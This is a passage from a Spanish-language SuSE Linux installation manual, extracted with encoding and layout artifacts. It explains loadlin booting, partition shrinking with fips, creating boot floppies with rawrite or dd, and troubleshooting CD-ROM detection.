  3846.  
  3847.  
  3848.  
  3849. Requisito / Situaci≤n
  3850. Si realmente se ha hecho todo hasta aquφ y se desea ver el primer signo de vida
  3851.  
  3852. de Linux en la pantalla, entonces ya se han cumplido ítodos los requisitos!
  3853.  
  3854.  
  3855. Informaci≤n adicional
  3856.  
  3857. Ahora  Setup  genera  en  su  partici≤n  DOS  el  directorio  \loadlin        que  serß
  3858. el encargado de acoger los programas setup.exe        , loadlin.exe          ; el fichero
  3859. Linux.bat          y  el  kernel  escogido  bajo  el  nombre  zimage     .   Arrancando  de-
  3860. spuΘs de esta primera instalaci≤n se llama al fichero Linux.bat         (si se efect·a
  3861. esta llamada es necesario introducir como parßmetro la partici≤n de ''root'');
  3862. este  tema  se  abarca  en  el  apartado  2.10.2  en  la  pßgina  79Fijar  sistemas  de
  3863. fichero y ''Mountpoints''subsection.2.10.2. Al final de este paso se procede a
  3864. cargar y a arrancar el kernel.
  3865.  
  3866.  
  3867. Paso por paso. . .
  3868.  
  3869. Para instalar loadlin  y arrancar el +  Linux originario, se procede de la sigu-
  3870. iente manera:
  3871.  
  3872.  1.   Seleccionar la opci≤n `loadlin' y pulsar |______|-.
  3873.  2.   Esta pantalla muestra la cantidad de memoria RAM que tiene la computa-_
  3874.       dora.  Generalmente este valor es correcto y se afirma pulsando |_____-|.  Si
  3875.       la cantidad de RAM no fuera correcta, se debe corregir.
  3876.  3.   Ahora se debe saber si Linux soporta el lector CD-ROM.
  3877.  
  3878.       o   Si Linux soporta el lector CD-ROM, se pulsa |______|-y listo!.
  3879.  
  3880.       o   Si Linux no soporta el lector CD-ROM no pasa nada, porque ya se han
  3881.           copiado (apartado 2.4.1 en la pßgina 49Instalaci≤n desde una partici≤n
  3882.           DOSsubsection.2.4.1) los ficheros en el_disco_duro.  Seleccionar aho-
  3883.           ra la opci≤n `Disco  duro' y pulsar |_____-|.  Seguidamente introducir
  3884.           el path en el cual se habφa copiado el directorio suse.  En el ejemp-
  3885.           lo  del  apartado  2.4.1  en  la  pßgina  49Instalaci≤n  desde  una  partici≤n
  3886.           DOSsubsection.2.4.1 se us≤ \pepe     , por tanto se debe escribir \pepe     .
  3887.           No hace falta indicar el directorio por debajo (suse    ).
  3888.  
  3889.  4.   Ahora se debe elegir un kernel adecuado.
  3890.  5.   En este paso se tratan los parßmetros del kernel.  Por cada lφnea se indica
  3891.       un parßmetro, una lφnea en blanco significa listo. ┐QuΘ parßmetros poner?
  3892.       En el apartado 14.1 en la pßgina 357Drivers del kernelsection.14.1 hay
  3893.       indicaciones detalladas sobre los parßmetros.
  3894.  6.   La  siguiente  pantalla  pregunta  si  se  desea  instalar  el  programa  loadlin .
  3895.       Esto se afirma con `Sφ'.  Setup  genera entonces el directorio \loadlin
  3896.       y copia los ficheros en Θl.
  3897.  7.   Ahora se arranca el +  Linux originario usando la opci≤n `Cargar  Lin-
  3898.       ux'.   Haciendo  Θsto  pasarßn  alrededor  de  dos  pßginas  de  texto  por  la
  3899.       pantalla que genera el kernel.  Si todo va bien,  el programa linuxrc  en-
  3900.       vφa un saludo.  TambiΘn se puede leer_con_tranquilidad_el_texto_generado___          _________
  3901.       por el kernel, usando las teclas |S_______h|ift+ |B_________|ildy "|_______S|hift+ |B_________|ildpa#ra
  3902.       repasarlo de arriba a abajo.
  3903.  
  3904.  
  3905.                                                                                                                                    *
  3906.  *     55
  3907. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  3908.  *_______________________________________@
  3909.  
  3910.  
  3911.  
  3912.                            Ahora la instalaci≤n contin·a como se ha explicado en el apartado 2.2.3 en la
  3913.                            pßgina 31La base: linuxrc subsection.2.2.3.
  3914.  
  3915.  
  3916.                            Posibles problemas
  3917.  
  3918.                            Aquφ se pueden presentar problemas en dos puntos diferentes:  loadlin  no se
  3919.                            puede cargar o no puede arrancar el kernel, o bien, el kernel tiene problemas
  3920.                            con el hardware.
  3921.  
  3922.                              o   loadlin  no  tiene  suficiente  memoria  para  cargar  el  kernel.   Consultar:
  3923.                                  apartado 2.7.9 en la pßgina 66loadlin necesita mßs memoria para cargar
  3924.                                  el kernelsubsection.2.7.9.
  3925.  
  3926.                              o   loadlin  no  puede  arrancar  el  kernel,  la  computadora  corre  en  el  modo
  3927.                                  virtual  del  8086  y  no  hay  ning·n  servidor  VCPI  disponible.    Con-
  3928.                                  sultar:   apartado  2.7.11  en  la  pßgina  66DOS  se  encuentra  en  modo
  3929.                                  protegidosubsection.2.7.11.
  3930.  
  3931.                              o   loadlin no funciona: Consultar apartado 2.7.10 en la pßgina 66loadlin no
  3932.                                  funcionasubsection.2.7.10.
  3933.  
  3934.                              o   El CD-ROM es defectuoso:  Consultar apartado 2.7.4 en la pßgina 64El
  3935.                                  CD es defectuososubsection.2.7.4.
  3936.  
  3937. 56
  3938.        ________________________________________________________________________________________2.6.__Bloques_de_informaci≤n________*
  3939.  *______________________
  3940.  
  3941.  
  3942.  
  3943. 2.6       Bloques de informaci≤n
  3944.  
  3945. 2.6.1      Hacer espacio para Linux (particionar)
  3946.  
  3947. La idea es preparar el disco duro para alojar nuevas particiones Linux. Esper-
  3948. amos que se tenga un poco de tiempo para repasar este apartado con tranquil-
  3949. idad; es recomendable tener un par de disquetes o cintas para un respaldo o
  3950. copia de seguridad y tambiΘn un disquete de arranque del sistema operativo
  3951. actual.
  3952.  
  3953.  
  3954. Informaci≤n adicional
  3955.  
  3956. Particionando se puede dividir un disco duro en varias zonas que son bastante
  3957. independientes  entre  sφ.   Una  buena  raz≤n  para  generar  varias  particiones
  3958. es  la  posibilidad  de  la  coexistencia  de  varios  sistemas  operativos  con  sus
  3959. correspondientes sistemas de fichero en un solo disco duro.
  3960.  
  3961. ┐C≤mo generar entonces espacio para particiones de Linux?
  3962.  
  3963.   o   Es  posible  borrar  por  separado  particiones  del  disco  duro;  con  esta  op-
  3964.       eraci≤n se pierden todos los ficheros que se encuentran en ella. El espacio
  3965.       que se libera de este modo en el disco estarß entonces a disposici≤n para
  3966.       una nueva partici≤n (p. ej.  Linux) o bien para varias.
  3967.   o   TambiΘn es posible asignar particiones concretas a otros sistemas opera-
  3968.       tivos pero se perderßn todos los ficheros de la partici≤n como si se estu-
  3969.       viera borrando.
  3970.   o   Bajo  MS-DOS  o  Windows  95/98  es  posible  disminuir  el  tama±o  de  la
  3971.       ·ltima partici≤n del disco sin pΘrdida de ficheros.  Antes de particionar
  3972.       es  necesario  usar  un  programa  de  defragmentaci≤n  para  que  todos  los
  3973.       ficheros  se  sit·en  al  comienzo  de  Θsta.   Si  solo  existe  una  partici≤n  de
  3974.       MS-DOS o de Windows, resulta sencillo con este mΘtodo, hacer espacio
  3975.       para particiones Linux.  DespuΘs de la defragmentaci≤n se pueden usar
  3976.       programas especiales ~ p. ej.  el programa freeware fips  ~ para disminuir
  3977.       el lφmite superior del cilindro y asφ achicar el tama±o de la partici≤n. fips
  3978.       se encuentra en el CD 1 en el directorio dosutils.
  3979.   o   Un mΘtodo muy c≤modo, si bien acompa±ado de costes, es el de la insta-
  3980.       laci≤n de un disco duro adicional.
  3981.        _______________________________________________________________________________________________________________________|||
  3982.        ||||||||                                                                                                 ||             |
  3983.        ||||||||  Al modificar particiones es necesario trabajar cuidadosamente, vigilando                       ||             |
  3984.        ||||||||  las  instrucciones  del  software  a  tal  efecto.   No  obstante,  pueden  apare-             ||             |
  3985.        ||||||||                                                                                                 ||             |
  3986.        ||||||||  cer problemas que provoquen la pΘrdida completa de ítodos los datos!  En                       ||             |
  3987.        ||||||||  SuSE     no nos podemos responsabilizar del buen funcionamiento de la parti-                   ||             |
  3988.        ||||||||                                                                                                 ||             |
  3989.        ||||||||  ci≤n del disco. En todo caso es muy recomendable hacer copias de seguri-                       ||             |
  3990.        ||||||||  dad, como mφnimo de los ficheros mßs importantes y preparar un disquete                        ||             |
  3991.        ||||||||                                                                                                 ||             |
  3992.        ||||||||  de arranque.                                                                                   ||             |
  3993.        ||||||||_______________________________________________________________________________________________________________||_
  3994.  
  3995. Paso por paso. . .
  3996.  
  3997. Para particionar el disco duro se hace lo siguiente:
  3998.  
  3999.  1.   Se debe saber cußntas particiones hay en el disco y quΘ tama±o tienen.
  4000.       Para averiguarlo se usa el programa fdisk  del sistema operativo.
  4001.  
  4002.  
  4003.                                                                                                                                    *
  4004.  *     57
  4005. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  4006.  *_______________________________________@
  4007.  
  4008.  
  4009.  
  4010.                             2.   Planificar la cantidad de particiones requeridas y sus tama±os.  La infor-
  4011.                                  maci≤n al respecto estß en el apartado 2.8 en la pßgina 70Particionar para
  4012.                                  principiantessection.2.8  y  en  el  apartado  2.9  en  la  pßgina  71Particionar
  4013.                                  para avanzadossection.2.9.
  4014.  
  4015.                             3.   Apuntar  el  plan  de  particiones  en  un  papel  ya  que  se  necesitarßn  estos
  4016.                                  datos varias veces durante la instalaci≤n.
  4017.  
  4018.                             4.   En este momento se recomienda encarecidamente hacer un respaldo de
  4019.                                  todos  los  ficheros  en  el  disco  duro.  Si  no  se  tiene  una  unidad  de  cinta
  4020.                                  (ingl. streamer) y tampoco se quiere salvar todo en disquetes,  entonces
  4021.                                  como mφnimo se han de salvar los datos mßs importantes y los ficheros
  4022.                                  de arranque y de configuraci≤n (p. ej.  config.sys, autoexec.bat y *.
  4023.                                  ini).  Generar un disquete de arranque para el sistema operativo actual y
  4024.                                  probar si se puede arrancar con Θste. En este disquete de arranque tambiΘn
  4025.                                  se necesita un par de herramientas como p.ej.  un editor, el programa de
  4026.                                  particionar fdisk  y el programa para hacer respaldos.
  4027.  
  4028.                             5.   Se contin·a de acuerdo a la configuraci≤n:
  4029.  
  4030.  
  4031.                                  o   DOS/Windows 95/98, una partici≤n en el disco duro y, sin respaldo
  4032.                                      completo (ingl. File-Backup):
  4033.  
  4034.                                      Hace falta disminuir el tama±o de la partici≤n sin producir pΘrdida de
  4035.                                      datos. Para ello, se mueven todos los datos al comienzo de la partici≤n;
  4036.                                      con este fin se puede usar p. ej.  el programa defrag.exe  (MS-DOS 6 o
  4037.                                      Windows 95/98).
  4038.  
  4039.                                      Los  programas  de  defragmentaci≤n  no  suelen  mover  ficheros  escon-
  4040.                                      didos ni ficheros de sistema, ya que estos pueden estar ''anclados'' en
  4041.                                      un  sitio  definido  del  disco  duro  a  causa  de  una  protecci≤n  de  copia.
  4042.                                      Cuando se estß seguro de no tener tales ficheros en el disco, se pueden
  4043.                                      desactivar los atributos oculto       o sistema        en todos los ficheros que
  4044.                                      los tengan activados o, seg·n el programa de defragmentaci≤n usado,
  4045.                                      ajustar unos parßmetros y forzar la defragmentaci≤n de estos ficheros;
  4046.                                      las versiones mßs recientes de defrag usan para ello el comando /P  .
  4047.  
  4048.                                      El fichero de intercambio (''swap'') de Windows tambiΘn es un fichero
  4049.                                      oculto.  Si estß mal colocado se debe desactivar bajo Windows en la
  4050.                                      ''Configuraci≤n de sistema''.
  4051.  
  4052.                                      Si  finalmente  se  consigue  suficiente  espacio  al  final  de  la  partici≤n,
  4053.                                      dirφjase  entonces  al  directorio  \dosutils\fips\fips15                    del  primer
  4054.                                      CD. Allφ se encuentra el programa fips.exe  que permite disminuir el
  4055.                                      tama±o de la partici≤n.
  4056.  
  4057.                                      Antes de arrancar este programa,  conviene estudiar las instrucciones
  4058.                                      amplias que se encuentran en el mismo directorio, ya que se trata de
  4059.                                      un  tema  un  poco  delicado.   Por  lo  demßs,  cabe  se±alar  que  fips.exe
  4060.                                      solamente se ejecuta bajo DOS asφ que tendrß que finalizar Windows o
  4061.                                      llevar Windows 95/98 al modo DOS (ver tambiΘn el apartado 2.5.1 en
  4062.                                      la pßgina 53Activar modo DOS de Windows 95subsection.2.5.1).
  4063.  
  4064.                                      DespuΘs de ejecutar fips.exe se tiene una segunda partici≤n en el disco
  4065.                                      duro, la cual se particionarß luego para Linux.
  4066.  
  4067.  
  4068. 58
  4069.        ________________________________________________________________________________________2.6.__Bloques_de_informaci≤n________*
  4070.  *______________________
  4071.  
  4072.        _______________________________________________________________________________________________________________________||
  4073.        ||||||||  TambiΘn se puede achicar particiones del tipo fat32      usando fips.exe  del                  |||            |
  4074.        ||||||||| directorio  \dosutils\fips\fips20                   .íAntes  de  utilizar  esta  versi≤n  de   ||             ||
  4075.        ||||||||  FIPS, se debe hacer en todo caso un respaldo de los datos!                                     |||            |
  4076.        ||||||||_______________________________________________________________________________________________________________||_
  4077.  
  4078.       o   DOS/Windows 95/98 y varias particiones y, un respaldo completo
  4079.           de los datos (ingl. File-Backup):
  4080.  
  4081.           Al borrar la partici≤n DOS generßndola despuΘs con tama±o reducido,
  4082.           se  pierden  todos  los  datos  contenidos  en  ella,  asφ  que  se  necesita  un
  4083.           respaldo de ficheros previo; no es suficiente un respaldo de la imagen
  4084.           del disco (ingl. Image backup).  Con fdisk  se borran todas las parti-
  4085.           ciones antiguas y se generan las nuevas.  El pr≤ximo paso consiste en
  4086.           formatear la(s) partici≤n(es) e instalar el sistema operativo, copiando
  4087.           todos los ficheros desde el respaldo.
  4088.  
  4089.  
  4090.  6.   Arrancar la computadora desde cero.
  4091.  
  4092.  7.   Comprobar  ahora  si  el  sistema  operativo  funciona  correctamente.   Con
  4093.       YaST  se puede generar despuΘs la partici≤n Linux en el espacio del disco
  4094.       que se acaba de obtener.
  4095.  
  4096.  
  4097. Posibles problemas
  4098.  
  4099.  
  4100. Se pueden presentar los siguientes problemas:
  4101.  
  4102.  
  4103.   o   No  es  posible  achicar  la  partici≤n  lo  suficiente,  ya  que  existen  al-
  4104.       gunos ficheros o bloques inamovibles:  ver el apartado 2.7.1 en la pßgi-
  4105.       na 63Ficheros inamoviblessubsection.2.7.1.
  4106.  
  4107.   o   El  lector  CD-ROM  tiene  ahora  una  letra  de  unidad  diferente  usan-
  4108.       do  DOS  o  Windows.    Bajo  Windows  95/98  se  cuelga  el  escritorio:
  4109.       ver  el  apartado  2.7.12  en  la  pßgina  67Letra  de  unidad  del  lector  CD-
  4110.       ROMsubsection.2.7.12.
  4111.  
  4112.  
  4113. 2.6.2      Arrancar con el CD 2
  4114.  
  4115.  
  4116. Se puede arrancar no solamente con el CD 1 sino tambiΘn con el CD 2.  El
  4117. primer CD usa una imagen de arranque (bootimage) de 2,88 MB mientras que
  4118. el segundo usa la imagen tradicional de 1,44 MB.
  4119.  
  4120. Si estß claro que la computadora puede arrancar desde el CD pero se presen-
  4121. tan problemas, use el CD 2.  Desafortunadamente existen algunos BIOS que
  4122. no reconocen correctamente las imßgenes grandes.
  4123.  
  4124.  
  4125.  
  4126. 2.6.3      Crear un disquete de arranque bajo DOS
  4127.  
  4128.  
  4129. Requisito
  4130.  
  4131.  
  4132. Se necesita un disquete HD de 3.5 pulgadas, formateado y la disquetera cor-
  4133. respondiente que permita el arranque. Trabajando bajo Windows 95/98 no se
  4134. arranca setup en una ventana MS-DOS pero sφ en modo MS-DOS!
  4135.  
  4136.  
  4137.  
  4138.                                                                                                                                    *
  4139.  *     59
  4140. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  4141.  *_______________________________________@
  4142.  
  4143.  
  4144.  
  4145.                            Informaci≤n adicional
  4146.                            En el CD 1 del directorio /disks hay un par de imßgenes de disquetes (ingl.
  4147.  
  4148.                            Images).   Es  posible  copiar  una  de  estas  imßgenes,  mediante  una  utilidad
  4149.                            especial, a un disquete que se convierte entonces en un disquete de arranque.
  4150.  
  4151.                            Estas imßgenes de disquete contienen tambiΘn el ''Loader'' Syslinux y el pro-
  4152.                            grama linuxrc .  El programa Syslinux  permite seleccionar un kernel durante
  4153.                            el  arranque  y  pasar  parßmetros  al  hardware.   ~  El  programa  linuxrc  presta
  4154.                            asistencia cuando se cargan m≤dulos del kernel especiales para el hardware y
  4155.                            finalmente inicia la instalaci≤n.
  4156.  
  4157.                            Normalmente se puede usar el disquete de arranque suministrado para arran-
  4158.                            car  la  mßquina.   Solo  en  el  caso  de  tener  un  hardware  un  tanto  ''ex≤tico'',
  4159.                            que no sea soportado por el kernel de este disquete, es necesario generar un
  4160.                            disquete de arranque del modo en que se explica en este apartado.
  4161.  
  4162.  
  4163.                            Con Setup
  4164.  
  4165.  
  4166.                            Paso por paso. . .
  4167.  
  4168.                            Para crear un disquete de arranque se hace lo siguiente:
  4169.  
  4170.                             1.   Poner en marcha Setup directamente desde el CD 1.
  4171.  
  4172.                             2.   Seleccionar la_opci≤n_`Floppy' y pulsar |______|-, despuΘs `Boot/Arranque'
  4173.                                  y de nuevo |_____-|.
  4174.  
  4175.                             3.   Ahora  se  debe  elegir  un  disquete  con  un  kernel  adecuado  que  soporte
  4176.                                  p. ej.  la adaptadora SCSI. Setup muestra los datos mßs importantes sobre
  4177.                                  los diferentes kernels.  Si se necesitara informaci≤n adicional,  se puede
  4178.                                  consultar el fichero \disks\readme.dos
  4179.  
  4180.                                  Recuerde el nombre del kernel ya que lo necesitarß luego. DespuΘs pulse
  4181.                                  |______|-.
  4182.  
  4183.                             4.   Ahora se graba el disquete. Insertar un disquete de 3.5 pulgadas dentro de
  4184.                                  la disquetera (debe llevar formato DOS) y seleccionar el tipo de disquete
  4185.                                  que se quiere generar.
  4186.  
  4187.                                  o   Solo  se  necesita  el  disquete  de  arranque  ''Boot''  (en  SuSE      Linux
  4188.                                      ya  no  es  necesario  el  disquete_ `Root').    Colocar  el  cursor  sobre
  4189.                                      `Boot/Arranque' y pulsar |_____-|.
  4190.  
  4191.                                  o   Setup _pide_ reconfirmar  que  se  ha  insertado  un  disquete.  Pulsar  otra
  4192.                                      vez |_____-|. Ahora se procede a grabar el disquete.
  4193.  
  4194.                                  o   Cuando la grabaci≤n estΘ lista, se presiona |______|-.
  4195.  
  4196.                                  o   Seleccionar la opci≤n `Listo', para salir de la pantalla y de Setup .
  4197.  
  4198.  
  4199.                            Con rawrite
  4200.  
  4201.                            Otra posibilidad para escribir el disquete en el prompt de DOS es el programa
  4202.                            DOS rawrite.exe  (que resulta un poco mßs lento).  Se encuentra en el CD 1,
  4203.                            directorio \dosutils\rawrite                .
  4204.  
  4205.                            Las imßgenes estßndar de disquetes de arranque se encuentran en el CD 1,
  4206.                            directorio /disks; allφ se puede leer el fichero README. La imagen bootdisk
  4207.  
  4208.  
  4209. 60
  4210.        ________________________________________________________________________________________2.6.__Bloques_de_informaci≤n________*
  4211.  *______________________
  4212.  
  4213.  
  4214.  
  4215. es el patr≤n para el disquete estßndar.  Los verdaderos kernels se encuentran
  4216. en el directorio /suse/images y tienen la extensi≤n .ikr.
  4217.  
  4218. Si resulta ·til el disquete estßndar suministrado con SuSE     Linux, se procede
  4219. de la siguiente manera, suponiendo que se encuentra en el directorio del CD:
  4220.  
  4221.       Q:>  dosutils\rawrite\rawrite  disks\bootdisk
  4222.  
  4223. El asunto se complica un poco si se necesita un kernel para los chipsets EIDE
  4224. especiales. En tal caso se copia primero la imagen estßndar (bootdisk) en el
  4225. disquete, sobreescribiendo posteriormente el kernel del disquete (linux) con
  4226. el kernel EIDE especial(p. ej. con eide.ikr):
  4227.  
  4228.       Q:>  dosutils\rawrite\rawrite  disks\bootdisk
  4229.       Q:>  copy  suse\images\eide.ikr  a:\linux
  4230.  
  4231.  
  4232. 2.6.4      Crear un disquete de arranque bajo Unix
  4233.  
  4234.  
  4235. Requisito
  4236.  
  4237. Hay un sistema Unix/Linux que incorpora un lector CD-Rom a su disposi-
  4238. ci≤n; ademßs se necesita un disquete libre de errores (formateado).
  4239.  
  4240. Para crear el disquete de arranque se procede de la siguiente manera:
  4241.  
  4242.  1.   Si a·n falta formatear el disquete:
  4243.            tierra:  #  fdformat  /dev/fd0u1440
  4244.  
  4245.  2.   Montar el primer CD (Disk 1); p. ej.  hacia /cdrom:
  4246.            tierra:  #  mount  -tiso9660  /dev/cdrom  /cdrom
  4247.  
  4248.  
  4249.  3.   Entrar al directorio disks en el CD:
  4250.            tierra:  #  cd  /cdrom/disks
  4251.  
  4252.  
  4253.  4.   Generar el disquete de arranque con:
  4254.            tierra:  #  dd  if=/cdrom/disks/bootdisk  of=/dev/fd0  bs=8k
  4255.  
  4256.       Los  ficheros  LIESMICH  (en  alemßn)  y  README  en  el  directorio  disks,
  4257.       indican  las  capacidades  de  cada  kernel;  estos  ficheros  se  pueden  visu-
  4258.       alizar  con  more     o  less     (respecto  a  less     vΘase  apartado  19.7.3  en  la
  4259.       pßgina 474El contenido de los ficherossubsection.19.7.3).
  4260.  5.   Si se necesita un kernel diferente, se hace lo siguiente:
  4261.            tierra:  #  dd  if=/cdrom/disks/bootdisk  of=/dev/fd0  bs=8k
  4262.            tierra:  #  mount  -t  msdos  /dev/fd0  /mnt
  4263.            tierra:  #  cp  /cdrom/suse/images/eide.ikr  /mnt/linux
  4264.            tierra:  #  umount  /mnt
  4265.  
  4266.  
  4267.  
  4268. 2.6.5      ┐Linux soporta mi lector CD-ROM?
  4269.  
  4270. Se puede decir que por lo general, Linux soporta la mayorφa de los lectores
  4271. CD-ROM.
  4272.  
  4273.   o   No se debe presentar ning·n problema usando lectores del tipo +  ATAPI.
  4274.  
  4275.   o   En el caso de lectores tipo SCSI solo importa que la controladora SCSI,
  4276.       que lleva la conexi≤n al CD-ROM, tenga soporte por parte de Linux. Hay
  4277.       una lista de controladoras soportadas en el banco de datos de componentes
  4278.  
  4279.  
  4280.                                                                                                                                    *
  4281.  *     61
  4282. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  4283.  *_______________________________________@
  4284.  
  4285.  
  4286.  
  4287.                                  CDB  (paquete  cdb,  serie  doc  o  bien  en  http://cdb.suse.de/).   Si
  4288.                                  no  encontrara  soporte  para  su  controladora  SCSI  y  el  disco  duro  estß
  4289.                                  conectado a la misma, tal cual tiene un problema :-(
  4290.  
  4291.                              o   TambiΘn hay muchos lectores CD-ROM propietarios que funcionan con
  4292.                                  Linux.   No  obstante,  pueden  presentarse  problemas  con  este  grupo  de
  4293.                                  dispositivos. Si no se menciona explφcitamente su lector, se puede probar
  4294.                                  con uno similar del mismo fabricante.
  4295.  
  4296.                              o   Ya  son  bastante  comunes  los  lectores  CD-ROM  en  el  puerto  paralelo.
  4297.                                  Lamentablemente  no  existe  ning·n  estßndar  para  esta  clase  de  disposi-
  4298.                                  tivo, lo que ocasiona problemas con frecuencia.  SuSE     Linux incluye una
  4299.                                  serie de drivers en estado Alpha para algunos de estos lectores. Si no fun-
  4300.                                  ciona ning·n driver solo queda el desvφo por la partici≤n DOS. TΘngase en
  4301.                                  cuenta que existen algunos lectores soportados por Linux, que solo fun-
  4302.                                  cionan  cuando  han  sido  inicializados  por  el  driver  de  DOS,  efectuando
  4303.                                  despuΘs un arranque en caliente.
  4304.  
  4305. 62
  4306.        ____________________________________________________________________________________2.7.__Descripci≤n_de_problemas__________*
  4307.  *______________________
  4308.  
  4309.  
  4310.  
  4311. 2.7       Descripci≤n de problemas
  4312.  
  4313. 2.7.1      Ficheros inamovibles
  4314.  
  4315.  
  4316. Los  programas  de  defragmentaci≤n  generalmente  no  mueven  los  ficheros
  4317. que tienen los atributos sistema        o escondido          (ingl. system, hidden).  Para
  4318. averiguar cußles son los ficheros ⁿc lpables", se puede generar con el sigu-
  4319. iente comando,
  4320.  
  4321. attrib  \*.*  /s  >  <nombre-lista>
  4322.  
  4323. una  lista  de  los  nombres  <nombre-lista>  de  todos  los  ficheros  en  el  disco
  4324. duro.  En esta lista se pueden identificar los ficheros y hacerlos movibles con
  4325. el comando
  4326.  
  4327. attrib  -S  -H  <nombre-fichero>
  4328.  
  4329. Conviene disponer un poco de mano izquierda para no romper ning·n fichero
  4330. de protecci≤n de copia, ni de intercambio ni tampoco ning·n fichero especial
  4331. de  sistema.   DespuΘs  de  la  defragmentaci≤n  se  recomienda  restablecer  los
  4332. atributos.
  4333.        _______________________________________________________________________________________________________________________
  4334.        ||||||||  Bajo Windows se puede usar para tal fin el ''Administrador de ficheros'' o                     ||             |
  4335.        ||||||||                                                                                                 ||             |
  4336.        ||||||||  bien el ''Explorador''.                                                                        ||             |
  4337.        ||||||||_______________________________________________________________________________________________________________||_
  4338.  
  4339. Si esto no resulta hay que tragar grueso y modificar realmente las particiones
  4340. del disco.  Esto conlleva, en especial, la necesidad de salvar todos los datos
  4341. para  poder  instalarlos  otra  vez  despuΘs  de  haber  particionado.   TambiΘn  se
  4342. podrφa  conseguir  un  disco  nuevo;  tal  vez  favorezcan  los  precios  que  se  en-
  4343. cuentran en continuo descenso. . .
  4344.  
  4345.  
  4346.  
  4347. 2.7.2      La distribuci≤n del teclado en modo MS-DOS no es correcta
  4348.  
  4349.  
  4350. Introducir en modo DOS el siguiente comando:
  4351.  
  4352. loadhigh  keyb  es`c:\windows\command\keyboard.sys
  4353.  
  4354. o se introduce directamente en el fichero autoexec.bat.  Si el directorio de
  4355. Windows tiene otro nombre, se debe modificar el path indicado con el nombre
  4356. correspondiente.
  4357.  
  4358.  
  4359.  
  4360. 2.7.3      No hay driver de CD-ROM en modo MS-DOS
  4361.  
  4362.  
  4363. En modo MS-DOS solamente se tiene acceso a los drivers que fueron carga-
  4364. dos por los ficheros config.sys y autoexec.bat.  Tiene sentido renunciar
  4365. a los drivers CD-ROM (y a otros), ya que Windows 95/98 incorpora sus pro-
  4366. pios drivers.  Para poder usar los drivers en el modo MS-DOS es necesario
  4367. generar un enlace a la interfaz de comandos MS-DOS y crear unos ficheros
  4368. de arranque propios eligiendo `Propiedades', ficha ''Avanzado'', marcando
  4369. `Modo  MS-DOS' y `Especificar  nueva  configuraci≤n  de  MS-DOS'.
  4370. Estos ficheros de arranque para la ventana MS-DOS deben contener los co-
  4371. mandos para cargar los drivers.
  4372.  
  4373.  
  4374.  
  4375.                                                                                                                                    *
  4376.  *     63
  4377. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  4378.  *_______________________________________@
  4379.  
  4380.  
  4381.  
  4382.                            2.7.4      El CD es defectuoso
  4383.                            En realidad esto es muy poco probable, pero ~ evidentemente ~ no se puede
  4384.  
  4385.                            descartar por completo esta posibilidad. En tal caso dirφjase a su distribuidor.
  4386.  
  4387.  
  4388.                            2.7.5      Un lector CD-ROM ATAPI se traba leyendo
  4389.  
  4390.                            Cuando  no  se  reconoce  bien  un  lector  CD-ROM  +  ATAPI  o  Θl  mismo  se
  4391.                            traba  leyendo,  en  muchos  casos  se  debe  a  un  fallo  en  la  configuraci≤n  de
  4392.                            los componentes. Normalmente todos los dispositivos que se conectan al bus
  4393.                            (E)IDE deben estar conectados en fila, es decir, que el primer dispositivo es
  4394.                            el master en el primer canal y el segundo es el esclavo.  El tercer dispositivo
  4395.                            debe ser entonces master en el segundo canal y el cuarto allφ el esclavo.
  4396.  
  4397.                            En realidad resulta que muchas computadoras solamente contienen un disco
  4398.                            duro y un CD-ROM que se encuentra entonces como master en el segundo
  4399.                            canal. En algunas ocasiones Linux no maneja bien este vacφo. Muchas veces
  4400.                            se puede ayudar al kernel introduciendo un parßmetro adicional (hdc=cdrom        ,
  4401.                            ver tambiΘn apartado 14.3.2 en la pßgina 360Parßmetros del kernel en el Boot-
  4402.                            Promptsubsection.14.3.2).
  4403.  
  4404.                            TambiΘn puede ocurrir que un dispositivo tenga los ''jumpers'' mal colocados;
  4405.                            esto quiere decir que estß configurado como esclavo pero se encuentra como
  4406.                            master en el segundo canal o viceversa.  En caso de duda es recomendable
  4407.                            comprobar y eventualmente corregir estas configuraciones.
  4408.  
  4409.                            A parte de esto, hay una serie de ''chipsets'' EIDE defectuosos que en gran
  4410.                            parte ya se conocen y el kernel contiene c≤digo para solventar los problemas.
  4411.                            Existe un kernel especial para estos casos (ver el README en /disks) y sus
  4412.                            parßmetros se detallan en el apartado 14.3.2 en la pßgina 360Parßmetros del
  4413.                            kernel en el Boot-Promptsubsection.14.3.2.
  4414.                            ________________________________________________________________________________________________________*
  4415.  *________||
  4416.                            |  Si  no  se  puede  arrancar  en  un  principio,  se  puede  probar  con  los  sigu-                  *
  4417.  *        ||||
  4418.                            |                                                                                                       *
  4419.  *        |||
  4420.                            |  ientes parßmetros del kernel.  ~ Deben ser introducidos en el ''prompt'' de                          *
  4421.  *        |||
  4422.                            |  arranque:                                                                                            *
  4423.  *        |||
  4424.                            |                                                                                                       *
  4425.  *        |||
  4426.                            |  boot:    linux  <Parßmetro  a  introducir>                                                           *
  4427.  *        |||
  4428.                            |  Atenci≤n:                                                                                            *
  4429.  *        |||
  4430.                            |                                                                                                       *
  4431.  *        |||
  4432.                            |  íNo olvide el nombre del kernel (linux) por delante de los parßmetros!                               *
  4433.  *        |||
  4434.                            |_______________________________________________________________________________________________________*
  4435.  *________|||_
  4436.  
  4437.                              ~   hd<x>=cdrom -  <x> simboliza a,b,c,d...  y tiene el siguiente significa-
  4438.                                  do:
  4439.  
  4440.                                   ffl a - Maestro en la 1a  controladora IDE
  4441.  
  4442.                                   ffl b - Esclavo en la 1a  controladora IDE
  4443.  
  4444.                                   ffl c - Maestro en la 2a  controladora IDE
  4445.  
  4446.                                   ffl . . .
  4447.  
  4448.                                  Ejemplo para <Parßmetro a introducir>: hdb=cdrom
  4449.  
  4450.                                  Con este parßmetro se puede indicar al kernel donde estß el lector CD-
  4451.                                  ROM del tipo +  ATAPI, si es que el kernel no lo encuentra por sφ mismo.
  4452.  
  4453.                              ~   ide<x>=noautotune -  <x> vale 0,1,2,3 y tiene el siguiente significado:
  4454.  
  4455.  
  4456. 64
  4457.        ____________________________________________________________________________________2.7.__Descripci≤n_de_problemas__________*
  4458.  *______________________
  4459.  
  4460.  
  4461.  
  4462.       ffl   0 - 1a  controladora IDE
  4463.       ffl   1 - 2a  controladora IDE
  4464.  
  4465.       ffl   . . .
  4466.  
